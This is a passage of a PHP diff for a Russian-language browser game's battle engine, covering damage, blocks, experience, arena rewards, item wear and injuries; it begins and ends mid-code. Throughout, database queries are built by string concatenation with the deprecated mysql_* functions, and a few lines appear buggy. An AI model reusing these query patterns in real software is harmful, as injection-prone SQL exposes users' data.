+ $mm = 1000000; + if(mt_rand($mm, 100*$mm) <= $persent*$mm) { + return true; + } else { + return false; + } + } + + function get_block($who, $where_atack, $whom, $where_defend) { + $blocks = array('1' => array(1, 2), '2' => array(2, 3), '3' => array(3, 4), '4' => array(4, 1)); + if(!in_array($where_atack, $blocks[$where_defend])) { + return true; + } else { + return false; + } + } + + function add_log($text) { + $this->log .= $text; + } + + function battle_end() { + global $caverooms, $user, $cavebots, $party, $rep; + if($this->battle_data) { + $ss = @array_keys($this->battle); + + $t1life = 0; $t2life = 0; + + foreach($this->t1 as $k => $v) { + if(in_array($v, array_keys($this->battle))) { + $t1life++; + } + } + + foreach($this->t2 as $k => $v) { + if(in_array($v, array_keys($this->battle))) { + $t2life++; + } + } + + if($t2life == 0 || $t1life == 0) { + $charge = mysql_fetch_array(mysql_query('SELECT `win` FROM `battle` WHERE `id` = "'.$this->battle_data['id'].'" LIMIT 1')); + } + + if(($t2life == 0 || $t1life == 0) && ($charge[0] == 3 || $charge[0] == 9)) { + + mysql_query("UPDATE `battle` SET `win` = 0 WHERE `id` = '{$this->battle_data['id']}' LIMIT 1"); + + foreach($this->t1 as $k => $v) { + $nks1[] = nick7($v); + $nks1hist[] = nick3($v); + } + + foreach($this->t2 as $k => $v) { + $nks2[] = nick7($v); + $nks2hist[] = nick3($v); + } + + if(in_array($ss[0], $this->t1)) { + $flag = 1; + foreach($this->t1 as $k => $v) { + mysql_query('UPDATE `battle` SET `win` = 1 WHERE `id` = "'.$this->battle_data['id'].'" LIMIT 1'); + + $this->t1[$k] = nick5($v, " "); + + if($this->battle_data['aren_of'] == 1 && $this->t1[$k] && $v < _BOTSEPARATOR_) { + mysql_query('INSERT INTO `logs_arena` (`battle`, `user`, `uid`, `damage`, `team`) VALUES ("'.$this->battle_data['id'].'", "'.$this->t1[$k].'", "'.$v.'", "'.$this->damage[$v].'", "1")'); + } + + if($this->user['in_tower'] > 0) { + + } + + if($this->user['x'] != 0 || $this->user['y'] != 0 && $this->user['laba'] > 0) { + $lobj = mysql_fetch_array(mysql_query('SELECT * FROM `laba_obj` WHERE `lib` = "'.$this->user['laba'].'" AND `x` = "'.$this->user['x'].'" AND `y` = "'.$this->user['y'].'" LIMIT 1')); + if(isset($lobj['id'])) { + $q2 = mysql_fetch_array(mysql_query('SELECT * FROM `qst_user` WHERE `uid` = "'.$this->user['id'].'" AND `cancel` = "0" AND `finish` = "0" LIMIT 1')); + if(isset($q2['id'])) { + $q1 = mysql_fetch_array(mysql_query('SELECT * FROM `qst` WHERE `id` = "'.$q2['qid'].'" LIMIT 1')); + if($q1['type'] == 3) { + $jobs = 0; + $sp = mysql_query('SELECT * FROM `bots` WHERE `battle` = "'.$this->battle_data['id'].'"'); + while($pl = mysql_fetch_array($sp)) { + if($q1['obj_id'] == $pl['prototype']) { + $jobs++; + } + } + mysql_query('UPDATE `qst_user` SET `val` = "'.($q2['val'] + $jobs).'" WHERE `id` = "'.$q2['id'].'" LIMIT 1'); + } + } + mysql_query('UPDATE `laba_obj` SET `use` = "'.time().'" WHERE `lib` = "'.$lobj['lib'].'" AND `x` = "'.$lobj['x'].'" AND `y` = "'.$lobj['y'].'"'); + } + } + + $this->exp[$v] = round($this->exp[$v]); + $dop_exp = check_proc($this->user['id']); + if($dop_exp > 100) { + $add = ($dop_exp-100); + $this->exp[$v] += round(($this->exp[$v]*$add)/100, 0); + } + + if($user['caveleader'] > 0 || $user['laba'] > 0) { + if($this->damage[$v] > 1) { + $this->exp[$v] = mt_rand(5, 10); + } else { + $this->exp[$v] = 0; + } + } + + if(empty($this->damage[$v])) { + $this->damage[$v] = 0; + } + + if($user['caveleader'] > 0 || $user['laba'] > 0) { + $rep = floor($this->damage[$v]/300); + if($rep <= 0) { + $rep = 0; + } + $ads = '. Репутации: '.$rep.' ед.'; + } else { + $rep = 0; + $ads = '.'; + } + + if($this->battle_data['clone'] == 1 && $this->battle_data['fiz'] == 0) { + addActions(time(), 'kill_clone', 0, $this->user['id']); + } + + if($this->battle_data['type'] == 3) { + addActions(time(), 'win_haot', 0, $this->user['id']); + } + + if($this->battle_data['fiz'] == 1) { + addActions(time(), 'win_fiz', 0, $this->user['id']); + } + + addchp('Внимание! Победа! Бой окончен. Всего вами нанесено урона : '.$this->damage[$v].' HP. Получено опыта : '.$this->exp[$v].' ('.$dop_exp.'%)'.$ads.' ', '{[]}'.nick7 ($v).'{[]}'); + + mysql_query('UPDATE `users` SET `win` = (`win` +1), `fullhptime` = '.time().' WHERE `id` = "'.$v.'"'); + GiveExp($v, $this->exp[$v]); + if($user['caveleader'] > 0 || $user['laba'] > 0) { + GiveRep($v, $rep); + } + if($user['klan']) { + mysql_query('UPDATE `clans` SET `clanexp` = (`clanexp`+'.(int)$this->exp[$user['id']].') WHERE `id` = "'.$v[$user['klan']].'" LIMIT 1'); + } + + } + $winers .= implode("
    , ", $this->t1); + $lomka = $this->t2; + include('cave/win.php'); + } elseif(in_array($ss[0], $this->t2)) { + $flag = 2; + foreach($this->t2 as $k => $v) { + mysql_query('UPDATE `battle` SET `win` = 2 WHERE `id` = "'.$this->user['battle'].'" LIMIT 1'); + $this->t2[$k] = nick5($v, ""); + + if($this->battle_data['aren_of'] == 1 && $this->t2[$k] && $v < _BOTSEPARATOR_) { + mysql_query('INSERT INTO `logs_arena` (`battle`, `user`, `uid`, `damage`, `team`) VALUES ("'.$this->user['battle'].'", "'.$this->t1[$k].'", "'.$v.'", "'.$this->damage[$v].'", "2")'); + } + + if($this->user['laba'] > 0) { + mysql_query('UPDATE `users` SET `x` = "'.$this->user['xf'].'", `y` = "'.$this->user['yr'].'" WHERE `id` = "'.$this->user['id'].'" LIMIT 1'); + } + + $this->exp[$v] = round($this->exp[$v]); + $dop_exp = check_proc($this->user['id']); + if($dop_exp > 100) { + $add = ($dop_exp-100); + $this->exp[$v] += round(($this->exp[$v]*$add)/100, 0); + } + + if($user['caveleader'] > 0 || $user['laba'] > 0) { + if($this->damage[$v] > 1) { + $this->exp[$v] = mt_rand(5, 10); + } else { + $this->exp[$v] = 0; + } + } + + if($this->battle_data['clone'] == 1 && $this->battle_data['fiz'] == 0) { + addActions(time(), 'kill_clone', 0, $this->user['id']); + } + + if($this->battle_data['type'] == 3) { + addActions(time(), 'win_haot', 0, $this->user['id']); + } + + if($this->battle_data['fiz'] == 1) { + addActions(time(), 'win_fiz', 0, $this->user['id']); + } + + if(in_array($user['room'], $caverooms)) { + $location = mysql_fetch_array(mysql_query("SELECT `x`, `y`, `dir` FROM `caveparties` WHERE `user` = '".$this->user['id']."' LIMIT 1")); + if($location['dir'] == 0) { $y = $location['y']*2; $x = ($location['x']-1)*2; } + if($location['dir'] == 1) { $y = ($location['y']-1)*2; $x = $location['x']*2; } + if($location['dir'] == 2) { $y = $location['y']*2; $x = ($location['x']+1)*2; } + if($location['dir'] == 3) { $y = ($location['y']+1)*2; $x = $location['x']*2; } + mysql_query("UPDATE `cavebots` SET `battle` = 0 WHERE `battle` = '".$this->battle_data['id']."'"); + } + + addchp('Внимание! Победа! Бой окончен. Всего вами нанесено урона : '.(int)$this->damage[$v].' HP. Получено опыта '.$this->exp[$v].' ('.$dop_exp.'%). ','{[]}'.nick7 ($v).'{[]}'); + + mysql_query('UPDATE `users` SET `win` = (`win`+1), `fullhptime` = '.time().' WHERE `id` = "'.$v.'"'); + GiveExp($v, $this->exp[$v]); + } + + $winers .= implode(", ", $this->t2); + $lomka = $this->t1; + } else { + if(in_array($user['room'], $caverooms)) { + $location = mysql_fetch_array(mysql_query("SELECT `x`, `y`, `dir` FROM `caveparties` WHERE `user` = '".$this->user['id']."' LIMIT 1")); + if($location['dir'] == 0) { $y = $location['y']*2; $x = ($location['x']-1)*2; } + if($location['dir'] == 1) { $y = ($location['y']-1)*2; $x = $location['x']*2; } + if($location['dir'] == 2) { $y = $location['y']*2; $x = ($location['x']+1)*2; } + if($location['dir'] == 3) { $y = ($location['y']+1)*2; $x = $location['x']*2; } + mysql_query("UPDATE `cavebots` SET `battle` = 0 WHERE `battle` = '".$this->battle_data['id']."'"); + } + + if($this->battle_data['x'] > 0 || $this->battle_data['y'] > 0 && $this->user['laba'] > 0) { + mysql_query('UPDATE `users` SET `x` = "'.$this->user['xf'].'", `y` = "'.$this->user['yr'].'" WHERE `laba` = "'.$this->user['laba'].'" AND `x` = "'.$this->battle_data['x'].'" AND `y` = "'.$this->battle_data['y'].'" AND `battle` = "'.$this->battle_data['id'].'" LIMIT 1'); + } + include("cave/lose.php"); + } + + if($lomka) { + $haos_flag = 0; + foreach($lomka as $k => $v) { + if(mt_rand(1, 6) == 1) { + $us = mysql_query('UPDATE `inventory` SET `duration` = (`duration`+1) WHERE `type` != 12 AND `dressed` = 1 AND `owner` = \''.$v.'\''); + } + + $inv_broken = mysql_query("SELECT * FROM `inventory` WHERE `type` != 12 AND `dressed` = 1 AND ((`maxdur` <= `duration`) OR (`dategoden` > 0 AND `dategoden` <= '".time()."')) AND `owner` = '{$v}'"); + while($br = mysql_fetch_array($inv_broken)) { + dropitemid($br['type'], $v); + } + + $its = mysql_query("SELECT `id` FROM `inventory` WHERE `dressed` = 0 AND ((`maxdur` <= `duration`) OR (`dategoden` > 0 AND `dategoden` <= '".time()."')) AND `owner` = '{$v}'"); + while($it = mysql_fetch_array($its)) { + mysql_query("DELETE FROM `inventory` WHERE `id` = '".$it['id']."' LIMIT 1"); + mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '\"".$it['name']."\" разрушился id : (".$it['id'].").', '1', '".time()."')"); + } + + $this->exp[$v] = 0; + addchp('Внимание! Поражение! Бой окончен. Всего вами нанесено урона : '.(int)$this->damage[$v].' HP. Получено опыта 0.', '{[]}'.nick7 ($v).'{[]}'); + mysql_query('UPDATE `users` SET `lose` = (`lose`+1) WHERE `id` = \''.$v.'\''); + } + } + + foreach($this->t1 as $k => $v) { + $us = mysql_query('SELECT `duration`, `maxdur`, `name` FROM `inventory` WHERE `type` != 12 AND `dressed` = 1 AND `owner` = \''.$v.'\''); + while($rrow = mysql_fetch_row($us)) { + if(($rrow[1]-$rrow[0]) == 1) { + $this->AddToLog(''.date("H:i").' Внимание! У "'.nick7($v).'" предмет "'.$rrow[2].'" в критическом состоянии!
    (на правах рекламы) Ремонтная мастерская . Мы даем вторую жизнь старым вещам!
    '); + } elseif(($rrow[1]-$rrow[0]) == 2) { + $this->AddToLog(''.date("H:i").' Внимание! У "'.nick7($v).'" предмет "'.$rrow[2].'" нуждается в ремонте!
    (на правах рекламы) Ремонтная мастерская . Мы даем вторую жизнь старым вещам!
    '); + } + } + } + + foreach($this->t2 as $k => $v) { + $us = mysql_query('SELECT `duration`, `maxdur`, `name` FROM `inventory` WHERE `type` != 12 AND `dressed` = 1 AND `owner` = \''.$v.'\''); + while($rrow = mysql_fetch_row($us)) { + if(($rrow[1]-$rrow[0]) == 1) { + $this->AddToLog(''.date("H:i").' Внимание! У "'.nick7($v).'" предмет '.$rrow[2].' в критическом состоянии!
    (на правах рекламы) Ремонтная мастерская . Мы даем вторую жизнь старым вещам!
    '); + } elseif(($rrow[1]-$rrow[0]) == 2) { + $this->AddToLog(''.date("H:i").' Внимание! У "'.nick7($v).'" предмет "'.$rrow[2].'" нуждается в ремонте!
    (на правах рекламы) Ремонтная мастерская . Мы даем вторую жизнь старым вещам!
    '); + } + } + } + + if($winers) { + if($this->battle_data['aren_of'] == 1) { + $arr_battle = mysql_fetch_array(mysql_query('SELECT `id`, `win`, `aren_of` FROM `battle` WHERE `id` = "'.$this->battle_data['id'].'" LIMIT 1')); + $us_win = mysql_query('SELECT `id`, `user`, `uid`, `team` FROM `logs_arena` WHERE `team` = "'.$arr_battle['win'].'" AND `battle` = "'.$this->battle_data['id'].'" ORDER BY `damage` DESC LIMIT 3'); + while($win = mysql_fetch_array($us_win)) { + $uss .= ', '; + $uss .= $win['user']; + mysql_query('INSERT INTO `effects` (`type`, `name`, `time`, `hp`, `owner`) VALUES ("7", "Эйфория", "'.(time()+60*60*24).'", "200", "'.$win['uid'].'")'); + mysql_query('UPDATE `users` SET `maxhp` = (`maxhp`+200) WHERE `id` = "'.$win['uid'].'" LIMIT 3'); + mysql_query('INSERT INTO `effects` (`type`, `name`, `time`, `proc_exp`, `owner`) VALUES ("6", "Повешенный опыт (200%)", "'.(time()+60*60*24).'", "100", "'.$win['uid'].'")'); + } + + $bad = mysql_query('SELECT `id`, `uid`, `team` FROM `logs_arena` WHERE `team` != "'.$arr_battle['win'].'" AND `battle` = "'.$this->battle_data['id'].'" ORDER BY `damage` DESC LIMIT 3'); + while($give = mysql_fetch_array($bad)) { + mysql_query('INSERT INTO `effects` (`type`, `name`, `time`, `proc_exp`, `owner`) VALUES ("6", "Повешенный опыт (150%)", "'.(time()+60*60*24).'", "50", "'.$give['uid'].'")'); + } + + if($uss != '') { + $uss = ltrim($uss, ', '); + } else { + $uss = '-Игроков не было в бою-'; + } + + if($arr_battle['win'] == 1) { + AddChatSystem("Внимание! Тьма одержала победу благодаря великим воинам : $uss"); + $this->AddToLog(''.date("H:i").' '.'Бой закончен, победа за Силами Тьмы
    '); + } else { + AddChatSystem("Внимание! Свет одержал победу благодаря великим воинам : $uss"); + $this->AddToLog(''.date("H:i").' '.'Бой закончен, победа за Силами Света
    '); + } + mysql_query('UPDATE `variables` SET `value` = "'.$arr_battle['win'].'" WHERE `var` = "arena_win" LIMIT 1'); + mysql_query('UPDATE `battle` SET `aren_of` = 0 WHERE `id` = "'.$arr_battle['id'].'" AND `aren_of` = 1 LIMIT 1'); + } else { + $this->AddToLog(''.date("H:i").' '.'Бой закончен, победа за '.$winers.'
    '); + } + unset($uss); + + if($this->battle_data['blood']) { + $this->AddToLog(''.date("H:i").' ... и победители стали калечить проигравших...
    '); + foreach($lomka as $k => $v) { + if($this->battle_data['blood'] == 2) { + $tr = settravma($v, 13, 86400, 1); + } else{ + $tr = settravma($v, 0, 86400, 1); + } + + if($v < _BOTSEPARATOR_) { + $this->AddToLog(''.date("H:i").' '.nick7($v).' получил повреждение: '.$tr.'
    '); + $inv_broken = mysql_query("SELECT `id`, `type`, `dressed`, `duration`, `maxdur`, `dategoden`, `owner` FROM `inventory` WHERE `type` != 12 AND `dressed` = 1 AND ((`maxdur` <= `duration`) OR (`dategoden` > 0 AND `dategoden` <= '".time()."')) AND `owner` = '{$v}'"); + while($br = mysql_fetch_array($inv_broken)) { + dropitemid($br['type'], $v); + } + } + } + } + } else { + if($this->battle_data['aren_of'] == 1) { + AddChatSystem("Внимание! Бой на Арене Ангелов завершился ничьей, на этой недели силы тьмы и света равны."); + mysql_query('UPDATE `variables` SET `value` = 3 WHERE `var` = "arena_win" LIMIT 1'); + mysql_query('UPDATE `battle` SET `aren_of` = 0 WHERE `id` = "'.$arr_battle['id'].'" AND `aren_of` = 1 LIMIT 1'); + } + + $this->AddToLog(''.date("H:i").' '.'Бой закончен. Ничья.
    '); + mysql_query("UPDATE `users` SET `battle` = 0, `nich` = (`nich`+1), `fullhptime` = ".time()." WHERE `battle` = '{$this->user['battle']}'"); + $this->exp = 0; + } + + if($flag == 1) { + $rr = implode("
    , ", $nks1)." и ".implode(", ", $nks2); + } elseif($flag == 2) { + $rr = implode(", ", $nks1)." и ".implode(", ", $nks2).""; + } else { + $rr = implode(", ", $nks1)." и ".implode(", ", $nks2).""; + } + + mysql_query('UPDATE `battle` SET `t1hist` = \''.implode(", ", $nks1hist).'\', `t2hist` = \''.implode(", ", $nks2hist).'\' WHERE `id` = "'.$this->battle_data['id'].'" LIMIT 1'); + mysql_query('UPDATE `battle` SET `exp` = \''.serialize($this->exp).'\' WHERE `id` = "'.$this->battle_data['id'].'" LIMIT 1'); + mysql_query("UPDATE `users` SET `battle` = 0, `fullhptime` = '".time()."' WHERE `battle` = '{$this->battle_data['id']}'"); + unset($this->battle); + return true; + } + } + return false; + } + + function end_gora() { + if($this->GetTimeout()) { + foreach($this->team_mine as $v) { + if(in_array($v, array_keys($this->battle))) { + $vvv = $v; + } + } + $this->AddToLog("".date("H:i")." Бой закончен по таймауту.
    "); + + foreach($this->team_enemy as $v => $k) { + if($k > _BOTSEPARATOR_) { + $bots = mysql_fetch_array(mysql_query('SELECT `hp` FROM `bots` WHERE `id` = "'.$k.'" LIMIT 1')); + $us['hp'] = $bots['hp']; + } else { + $us = mysql_fetch_array(mysql_query('SELECT `hp` FROM `users` WHERE `id` = "'.$k.'" LIMIT 1')); + } + + if($us && (int)$us['hp'] > 0) { + if(!$this->battle_data['blood']) { + $tr = settravma($k, 0, 86400, 1); + if($k < _BOTSEPARATOR_) { + $this->AddToLog(''.date("H:i").' '.nick7($k).' получил повреждение: '.$tr.'
    '); + } + } + } + } + + foreach($this->team_enemy as $v => $k) { + mysql_query('UPDATE `users` SET `hp` = 0, `fullhptime` = '.time().' WHERE `id` = "'.$k.'"'); + } + header("Location: ".$_SERVER['PHP_SELF']."?batl=".$this->user['battle']); + } + } + + function end_draft() { + if(!$this->user['in_tower']) { + if($this->GetTimeout()) { + $this->battle = null; + mysql_query("UPDATE `users` SET `battle` = 0, `nich` = (`nich`+1), `fullhptime` = ".time()." WHERE `battle` = {$this->battle_data['id']}"); + mysql_query("UPDATE `battle` SET `win` = 0 WHERE `id` = '{$this->battle_data['id']}' LIMIT 1"); + $this->AddToLog("".date("H:i")." Бой закончен по таймауту. Ничья.
    "); + $this->exp = 0; + $this->write_log(); + } + } + } + + function FastDeath() { + if($this->battle) { + foreach($this->battle as $k => $v) { + if($k > _BOTSEPARATOR_) { + $bot = mysql_fetch_array(mysql_query("SELECT `hp`, `battle`, `prototype` FROM `bots` WHERE `id` = '{$k}' LIMIT 1")); + $us = mysql_fetch_array(mysql_query("SELECT `maxhp`, `sex` FROM `users` WHERE `id` = '{$bot['prototype']}' LIMIT 1")); + $us['hp'] = $bot['hp']; + $us['battle'] = $bot['battle']; + } else { + $us = mysql_fetch_array(mysql_query("SELECT `hp`, `maxhp`, `sex`, `battle` FROM `users` WHERE `id` = '{$k}' LIMIT 1")); + } + + if($us['hp'] <= 0) { + if($us['sex'] == 1) { + $this->AddToLog(''.date("H:i").' '.nick5($k, 'b').' умер!
    '); + } else { + $this->AddToLog(''.date("H:i").' '.nick5($k, 'b').' погибла!
    '); + } + + if($k < _BOTSEPARATOR_) { + mysql_query("UPDATE `users` SET `hp` = 0, `fullhptime` = '".time()."' WHERE `id` = '{$k}' LIMIT 1"); + } else { + mysql_query("UPDATE `bots` SET `hp` = 0 WHERE `id` = '{$k}' LIMIT 1"); + } + + foreach($this->battle as $kak => $vav) { + unset($this->battle[$kak][$k]); + } + unset($this->battle[$k]); + } + + if($k == null ) { + foreach($this->battle as $kak => $vav) { + unset($this->battle[$kak][$k]); + } + } + + if($us['battle'] == 0) { + foreach($this->battle as $kak => $vav) { + unset($this->battle[$kak][$k]); + } + unset($this->battle[$k]); + } + unset($us); + } + $this->UpdateBattle(); + } + } + + function gen_color($u, $enemy) { + $this->t1 = explode(";", $this->battle_data['t1']); + $this->t2 = explode(";", $this->battle_data['t2']); + $c = array(); + if(in_array($u, $this->t1)) { + $c['me'] = "B1"; + $c['he'] = "B2"; + } else { + $c['me'] = "B2"; + $c['he'] = "B1"; + } + return $c; + } + + function GetUserTeam() { + $this->t1 = explode(";", $this->battle_data['t1']); + $this->t2 = explode(";", $this->battle_data['t2']); + + if(in_array($this->user['id'], $this->t1)) { + $this->my_class = "B1"; + $this->en_class = "B2"; + $this->team_mine = $this->t1; + $this->team_enemy = $this->t2; + } else { + $this->my_class = "B2"; + $this->en_class = "B1"; + $this->team_mine = $this->t2; + $this->team_enemy = $this->t1; + } + } + + function init_botRazmen($uid, $enemy, $attack, $defend) { + $RazmenValues = array(1, 2, 3, 4); + $hp_1 = mysql_fetch_array(mysql_query('SELECT `id`, `hp`, `prototype` FROM `bots` WHERE `id` = "'.$uid.'" LIMIT 1')); + $maxhp_1 = mysql_fetch_array(mysql_query('SELECT `maxhp` FROM `users` WHERE `id` = "'.$hp_1['prototype'].'" LIMIT 1')); + $hp_2 = mysql_fetch_array(mysql_query('SELECT `id`, `hp`, `prototype` FROM `bots` WHERE `id` = "'.$enemy.'" LIMIT 1')); + $maxhp_2 = mysql_fetch_array(mysql_query('SELECT `maxhp` FROM `users` WHERE `id` = "'.$hp_2['prototype'].'" LIMIT 1')); + $color = $this->gen_color($uid, $enemy); + if(in_array($attack, $RazmenValues) && in_array($defend, $RazmenValues) && $enemy && $hp_1['hp'] > 0) { + if($this->battle[$enemy][$uid][0] > 0) { + $this->AddToLogBot($this->GetComment()); + $mf = $this->solve_mfs($uid, $enemy, $attack); + + $uvorotme = $this->chanse($mf['me']['chanse']); + $krithe = $this->chanse($mf['he']['chanse_krit']); + if($uvorotme && !$krithe) { + $uve = 1; + } elseif(!$uvorotme && $krithe) { + $uve = 2; + } elseif($uvorotme && $krithe) { + $uve = rand(1, 2); + } else { + $uve = 0; + } + + if($uve == 1) { + $this->AddToLogBot($this->razmen_log("uvorot", $this->battle[$enemy][$uid][0], $this->GetWeaponType($this->enemyhar['weap']), 0, $enemy, $color['he'], $uid, $color['me'], 0, 0)); + } elseif($uve == 2) { + if($this->GetBlock("me", $this->battle[$enemy][$uid][0], $defend, $enemy)) { + $hs = 1; $m = 'a'; + } else { + $hs = 2; $m = ''; + } + $yron = $mf['he']['udar']*$hs; + $us = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `id` = "'.$uid.'" LIMIT 1')); + if($us['hp'] < $yron) { + $yron = $us['hp']; + } + $this->damage[$enemy] += $yron; + $jv = ($hp_1['hp']-$yron); + $this->exp[$enemy] += SolveExp($enemy, $uid, $yron); + $this->AddToLogBot($this->razmen_log("krit".$m, $this->battle[$enemy][$uid][0], $this->GetWeaponType($this->enemyhar['weap']), $yron, $enemy, $color['he'], $uid, $color['me'], ($hp_1['hp']-$yron), $maxhp_2['maxhp'])); + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$uid.'" LIMIT 1'); ### Maybe not limited + } elseif(!$this->GetBlock("me", $this->battle[$enemy][$uid][0], $defend, $enemy)) { + $yron = $mf['he']['udar']; + $us = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `id` = "'.$uid.'" LIMIT 1')); + if($us['hp'] < $yron) { + $yron = $us['hp']; + } + $jv = ($hp_1['hp']-$yron); + $this->AddToLogBot($this->razmen_log("udar", $this->battle[$enemy][$uid][0], $this->GetWeaponType($this->enemyhar['weap']), $yron, $enemy, $color['he'], $uid, $color['me'], ($hp_1['hp']-$yron), $maxhp_2['maxhp'])); + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$uid.'" LIMIT 1'); + } else { + $this->AddToLogBot($this->razmen_log("block", $this->battle[$enemy][$uid][0], $this->GetWeaponType($this->enemyhar['weap']), 0, $enemy, $color['he'], $uid, $color['me'], 0, 0)); + } + + $uvorothe = $this->chanse($mf['he']['chanse']); + $kritme = $this->chanse($mf['me']['chanse_krit']); + if($uvorothe && !$kritme) { + $uve = 1; + } elseif(!$uvorothe && $kritme) { + $uve = 2; + } elseif($uvorothe && $kritme) { + $uve = rand(1, 2); + } else { + $uve = 0; + } + + if($uve == 1) { + $this->AddToLogBot($this->razmen_log("uvorot", $attack, $this->GetWeaponType($this->user['weap']), 0, $uid, $color['me'], $enemy, $color['he'], 0, 0)); + } elseif($uve == 2) { + if($this->GetBlock("he", $attack, $this->battle[$enemy][$uid][1], $enemy)) { + $hs = 1; $m = 'a'; + } else { + $hs = 2; $m = ''; + } + $yron = $mf['me']['udar']*$hs; + $us = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `id` = "'.$enemy.'" LIMIT 1')); + if($us['hp'] < $yron) { + $yron = $us['hp']; + } + $this->AddToLogBot($this->razmen_log("krit".$m, $attack, $this->GetWeaponType($this->user['weap']), $yron, $uid, $color['me'], $enemy, $color['he'], ($this->enemyhar['hp']-$yron), $this->enemyhar['maxhp'])); + + if($enemy > _BOTSEPARATOR_) { + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } else { + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } + + } elseif(!$this->GetBlock("he", $attack, $this->battle[$enemy][$uid][1], $enemy)) { + $yron = $mf['me']['udar']; + $us = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `bots` WHERE `id` = "'.$enemy.'" LIMIT 1')); + if($us['hp'] < $yron) { + $yron = $us['hp']; + } + $this->AddToLogBot($this->razmen_log("udar", $attack, $this->GetWeaponType($this->user['weap']), $yron, $uid, $color['me'], $enemy, $color['he'], ($this->enemyhar['hp']-$yron), $this->enemyhar['maxhp'])); + if($enemy > _BOTSEPARATOR_) { + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } else { + mysql_query('UPDATE `bots` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$enemy.'" LIMIT 1'); + } + } else { + $this->AddToLogBot($this->razmen_log("block", $attack, $this->GetWeaponType($this->user['weap']), 0, $uid, $color['me'], $enemy, $color['he'], 0, 0)); + } + + $this->battle[$enemy][$uid] = array(0, 0, time()); + mysql_query("UPDATE `battle` SET `to1` = '".time()."', `to2` = '".time()."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + $this->UpdateBattle(); + } else { + $this->battle[$uid][$enemy] = array($attack, $defend, time()); + if($this->my_class == "B1" && $jv > 0) { + mysql_query("UPDATE `battle` SET `to1` = '".time()."', `to2` = '".(time()-1)."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } elseif($jv > 0) { + mysql_query("UPDATE `battle` SET `to2` = '".time()."', `to1` = '".(time()-1)."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } else { + mysql_query("UPDATE `battle` SET `to2` = '".time()."', `to1` = '".(time())."' WHERE `id` = '".$this->battle_data['id']."' LIMIT 1"); + } + $this->FastDeath(); + $this->UpdateBattle(); + #header('Location: fbattle.php'); + die(); + } + } else { + return false; + } + } + + function InitRazmen($enemy, $attack, $defend) { + $RazmenValues = array(1, 2, 3, 4); $DefValues = array(1, 2, 3, 4); + if(in_array($attack, $RazmenValues) && in_array($defend, $DefValues) && $enemy && $this->user['hp'] > 0) { + + if($this->battle[$enemy][$this->user['id']][0] > 0) { + + $this->AddToLog($this->GetComment()); + $mfs = $this->solve_mfs($this->user['id'], $enemy, $attack); + + $color = $this->gen_color($this->user['id'], $enemy); + if($mfs['me']['chanse'] > 0) { + $uvorotme = $this->chanse($mfs['me']['chanse']); + } else { + $uvorotme = false; + } + + if($mfs['me']['chanse_krit'] > 0) { + $krithe = $this->chanse($mfs['he']['chanse_krit']); + } else { + $krithe = false; + } + + if($uvorotme && !$krithe) { + $uve = 1; + } elseif(!$uvorotme && $krithe) { + $uve = 2; + } elseif($uvorotme && $krithe) { + $uve = rand(1, 2); + } else { + $uve = 0; + } + + if($uve == 1) { + $this->AddToLog($this->razmen_log("uvorot", $this->battle[$enemy][$this->user['id']][0], $this->GetWeaponType($this->enemyhar['weap']), 0, $enemy, $color['me'], $this->user['id'], $color['he'], 0, 0)); + } elseif($uve == 2) { + $this->battle[$enemy][$this->user['id']] = array($attack, $defend, time()); + if($this->get_blocks($this->battle[$this->user['id']][$enemy][0], $this->battle[$enemy][$this->user['id']][1])) { + $hs = 1; $m = 'a'; + } else { + $hs = 2; $m = ''; + } + $yron = $mfs['he']['udar']*$hs; + + $hp_u = mysql_fetch_array(mysql_query('SELECT `id`, `hp` FROM `users` WHERE `id` = "'.$this->user['id'].'" LIMIT 1')); + if($hp_u['hp'] < ($mfs['he']['udar']*$hs)) { + $yron = $hp_u['hp']; + } + + $this->damage[$enemy] += $yron; + $jv = ($this->user['hp']-$yron); + $this->exp[$enemy] += SolveExp($enemy, $this->user['id'], $yron); + $this->AddToLog($this->razmen_log("krit".$m, $this->battle[$this->user['id']][$enemy][0], $this->GetWeaponType($this->enemyhar['weap']), $yron, $enemy, $color['me'], $this->user['id'], $color['he'], ($this->user['hp']-$yron), $this->user['maxhp'])); + + mysql_query('UPDATE `users` SET `hp` = (`hp` - '.$yron.') WHERE `id` = "'.$this->user['id'].'" LIMIT 1'); + + if(!($this->user['align'] == '2' || $this->user['align'] == '8.31')) { + $tmphp = mysql_fetch_array(mysql_query("SELECT `hp` FROM `users` WHERE `id` = {$this->user['id']} LIMIT 1")); + $tmphp = $tmphp['hp']; + if($tmphp <= 0) { + if(mt_rand(0, 100) <= 40 && $this->user['level'] > 6) { + $tr = settravma($this->user['id'], 0, 86400, 0); + if($this->user['id'] < _BOTSEPARATOR_) { + $this->AddToLog(''.date("H:i").' '.nick7($this->user['id']).' получил повреждение: '.$tr.'
